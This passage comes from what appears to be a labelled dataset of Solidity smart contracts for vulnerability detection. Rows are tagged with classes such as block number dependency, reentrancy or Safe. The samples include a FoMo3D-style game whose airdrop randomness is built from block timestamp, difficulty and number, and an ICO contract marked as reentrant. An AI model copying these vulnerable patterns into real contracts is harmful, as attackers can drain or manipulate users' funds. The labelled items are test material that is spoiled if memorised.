airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != """") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); _com = _com.add(_p3d.sub(_p3d / 2)); admin.transfer(_com); _res = _res.add(_p3d / 2); round_[_rID].mask = _ppt.add(round_[_rID].mask); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = _p3d; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _p1 = _eth / 100; uint256 _com = _eth / 50; _com = _com.add(_p1); uint256 _p3d; if (!address(admin).call.value(_com)()) { _p3d = _com; _com = 0; } uint256 _aff = _eth / 10; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _p3d = _p3d.add(_aff); } _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { uint256 _potAmount = _p3d / 2; admin.transfer(_p3d.sub(_potAmount)); round_[_rID].pot = round_[_rID].pot.add(_potAmount); _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } return(_eventData_); } function potSwap() external payable { uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit F3Devents.onPotSwapDeposit(_rID, msg.value); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public { require(msg.sender == admin, ""only admin can activate""); require(activated_ == false, ""FOMO Short already activated""); activated_ = true; rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } } library F3Ddatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 P3DAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 p3d; } struct PotSplit { uint256 gen; uint256 p3d; } } library F3DKeysCalcShort { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, ""string must be between 1 and 32 characters""); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, ""string cannot start or end with space""); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, ""string cannot start with 0x""); require(_temp[1] != 0x58, ""string cannot start with 0X""); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), ""string contains invalid characters"" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, ""string cannot contain consecutive spaces""); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, ""string cannot be only numbers""); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""SafeMath mul failed""); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""SafeMath sub failed""); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""SafeMath add failed""); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }",./Dataset/block number dependency (BN),0,0 35024.sol,"pragma solidity ^0.4.16; /* * Giga Giving Coin and ICO Contract. * 15,000,000 Coins Total. * 12,000,000 Coins available for purchase. */ contract Token { uint256 public totalSupply; function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; function transfer(address _to, uint256 _value) public returns (bool success) { address sender = msg.sender; require(balances[sender] >= _value); balances[sender] -= _value; balances[_to] += _value; Transfer(sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value); balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } library SafeMath { function mul(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract GigaGivingToken is StandardToken { using SafeMath for uint256; uint256 private fundingGoal; uint256 private amountRaised; uint256 private constant PHASE_1_PRICE = 1600000000000000; uint256 private constant PHASE_2_PRICE = 2000000000000000; uint256 private constant PHASE_3_PRICE = 2500000000000000; uint256 private constant PHASE_4_PRICE = 4000000000000000; uint256 private constant PHASE_5_PRICE = 5000000000000000; uint256 private constant DURATION = 5 weeks; uint256 public constant TOTAL_TOKENS = 15000000; uint256 public constant CROWDSALE_TOKENS = 12000000; string public constant VERSION = ""GC.5""; uint256 public startTime; uint256 public tokenSupply; address public beneficiary; string public name = ""Giga Coin""; string public symbol = ""GC""; uint256 public decimals = 0; // GigaGivingToken public tokenReward; mapping(address => uint256) public ethBalanceOf; bool public fundingGoalReached = false; bool public crowdsaleClosed = false; event GoalReached(address goalBeneficiary, uint256 totalAmountRaised); event FundTransfer(address backer, uint256 amount, bool isContribution); function GigaGivingToken (address icoBeneficiary) public { beneficiary = icoBeneficiary; balances[beneficiary] = TOTAL_TOKENS.sub(CROWDSALE_TOKENS); balances[this] = CROWDSALE_TOKENS; totalSupply = TOTAL_TOKENS; fundingGoal = 1000 ether; startTime = 1510765200; tokenSupply = 12000000; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); require(_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)); return true; } function () public payable { require(now >= startTime); require(now <= startTime + DURATION); require(!crowdsaleClosed); require(msg.value > 0); uint256 amount = msg.value; uint256 coinTotal = 0; if (now > startTime + 4 weeks) { coinTotal = amount.div(PHASE_5_PRICE); } else if (now > startTime + 3 weeks) { coinTotal = amount.div(PHASE_4_PRICE); } else if (now > startTime + 2 weeks) { coinTotal = amount.div(PHASE_3_PRICE); } else if (now > startTime + 1 weeks) { coinTotal = amount.div(PHASE_2_PRICE); } else { coinTotal = amount.div(PHASE_1_PRICE); } ethBalanceOf[msg.sender] = ethBalanceOf[msg.sender].add(amount); amountRaised = amountRaised.add(amount); tokenSupply = tokenSupply.sub(coinTotal); this.transfer(msg.sender, coinTotal); FundTransfer(msg.sender, amount, true); } modifier afterDeadline() { if (now >= (startTime + DURATION)) { _; } } function checkGoalReached() public afterDeadline { if (amountRaised >= fundingGoal) { fundingGoalReached = true; GoalReached(beneficiary, amountRaised); } crowdsaleClosed = true; } function safeWithdrawal() public afterDeadline { if (!fundingGoalReached) { uint amount = ethBalanceOf[msg.sender]; ethBalanceOf[msg.sender] = 0; if (amount > 0) { if (msg.sender.send(amount)) { FundTransfer(msg.sender, amount, false); } else { ethBalanceOf[msg.sender] = amount; } } } if (fundingGoalReached && beneficiary == msg.sender) { if (beneficiary.send(amountRaised)) { this.transfer(msg.sender, tokenSupply); FundTransfer(beneficiary, amountRaised, false); } else { fundingGoalReached = false; } } } }",./Dataset/reentrancy (RE)/,5,5 0x020357707453376823f2fa427243d8906e4d8a20_BeniNiciThomasToken.sol,"pragma solidity ^0.4.16; contract tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData); } contract BeniNiciThomasToken { /* Public variables of the token */ string public standard = 'Token 0.1'; string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; /* This creates an array with all balances */ mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; /* This generates a public event on the blockchain that will notify clients */ event Transfer(address indexed from, address indexed to, uint256 value); /* This notifies clients about the amount burnt */ event Burn(address indexed from, uint256 value); /* Initializes contract with initial supply tokens to the creator of the contract */ function BeniNiciThomasToken ( uint256 initialSupply, string tokenName, uint8 decimalUnits, string tokenSymbol ) { balanceOf[msg.sender] = initialSupply; // Give the creator all initial tokens totalSupply = initialSupply; // Update total supply name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes decimals = decimalUnits; // Amount of decimals for display purposes } /* Send coins */ function transfer(address _to, uint256 _value) { if (_to == 0x0) revert(); // Prevent transfer to 0x0 address. Use burn() instead if (balanceOf[msg.sender] < _value) revert(); // Check if the sender has enough if (balanceOf[_to] + _value < balanceOf[_to]) revert(); // Check for overflows balanceOf[msg.sender] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place } /* Allow another contract to spend some tokens in your behalf */ function approve(address _spender, uint256 _value) returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /* Approve and then communicate the approved contract in a single tx */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /* A contract attempts to get the coins */ function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (_to == 0x0) (revert()); // Prevent transfer to 0x0 address. Use burn() instead if (balanceOf[_from] < _value) revert(); // Check if the sender has enough if (balanceOf[_to] + _value < balanceOf[_to]) revert(); // Check for overflows if (_value > allowance[_from][msg.sender]) revert(); // Check allowance balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient allowance[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } function burn(uint256 _value) returns (bool success) { if (balanceOf[msg.sender] < _value) revert(); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) returns (bool success) { if (balanceOf[_from] < _value) revert(); // Check if the sender has enough if (_value > allowance[_from][msg.sender]) revert(); // Check allowance balanceOf[_from] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(_from, _value); return true; } }",Safe,8,8 0x05071daa428a11cd45c48ebdd8e77c74b9b67977_Configurator.sol,"pragma solidity ^0.4.18; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract ReceivingContractCallback { function tokenFallback(address _from, uint _value) public; } contract WalletsPercents is Ownable { address[] public wallets; mapping (address => uint) public percents; function addWallet(address wallet, uint percent) public onlyOwner { wallets.push(wallet); percents[wallet] = percent; } function cleanWallets() public onlyOwner { wallets.length = 0; } } contract CommonToken is StandardToken, WalletsPercents { event Mint(address indexed to, uint256 amount); uint public constant PERCENT_RATE = 100; uint32 public constant decimals = 18; address[] public tokenHolders; bool public locked = false; mapping (address => bool) public registeredCallbacks; mapping (address => bool) public unlockedAddresses; bool public initialized = false; function init() public onlyOwner { require(!initialized); totalSupply = 500000000000000000000000000; balances[this] = totalSupply; tokenHolders.push(this); Mint(this, totalSupply); unlockedAddresses[this] = true; unlockedAddresses[owner] = true; for(uint i = 0; i < wallets.length; i++) { address wallet = wallets[i]; uint amount = totalSupply.mul(percents[wallet]).div(PERCENT_RATE); balances[this] = balances[this].sub(amount); balances[wallet] = balances[wallet].add(amount); tokenHolders.push(wallet); Transfer(this, wallet, amount); } initialized = true; } modifier notLocked(address sender) { require(!locked || unlockedAddresses[sender]); _; } function transferOwnership(address to) public { unlockedAddresses[owner] = false; super.transferOwnership(to); unlockedAddresses[owner] = true; } function addUnlockedAddress(address addressToUnlock) public onlyOwner { unlockedAddresses[addressToUnlock] = true; } function removeUnlockedAddress(address addressToUnlock) public onlyOwner { unlockedAddresses[addressToUnlock] = false; } function unlockBatchOfAddresses(address[] addressesToUnlock) public onlyOwner { for(uint i = 0; i < addressesToUnlock.length; i++) unlockedAddresses[addressesToUnlock[i]] = true; } function setLocked(bool newLock) public onlyOwner { locked = newLock; } function transfer(address to, uint256 value) public notLocked(msg.sender) returns (bool) { tokenHolders.push(to); return processCallback(super.transfer(to, value), msg.sender, to, value); } function transferFrom(address from, address to, uint256 value) public notLocked(from) returns (bool) { tokenHolders.push(to); return processCallback(super.transferFrom(from, to, value), from, to, value); } function registerCallback(address callback) public onlyOwner { registeredCallbacks[callback] = true; } function deregisterCallback(address callback) public onlyOwner { registeredCallbacks[callback] = false; } function processCallback(bool result, address from, address to, uint value) internal returns(bool) { if (result && registeredCallbacks[to]) { ReceivingContractCallback targetCallback = ReceivingContractCallback(to); targetCallback.tokenFallback(from, value); } return result; } } contract BITTToken is CommonToken { string public constant name = ""BITT""; string public constant symbol = ""BITT""; } contract BITZToken is CommonToken { string public constant name = ""BITZ""; string public constant symbol = ""BITZ""; } contract Configurator is Ownable { CommonToken public bittToken; CommonToken public bitzToken; function Configurator() public onlyOwner { address manager = 0xe99c8d442a5484bE05E3A5AB1AeA967caFf07133; bittToken = new BITTToken(); bittToken.addWallet(0x08C32a099E59c7e913B16cAd4a6C988f1a5A7216, 60); 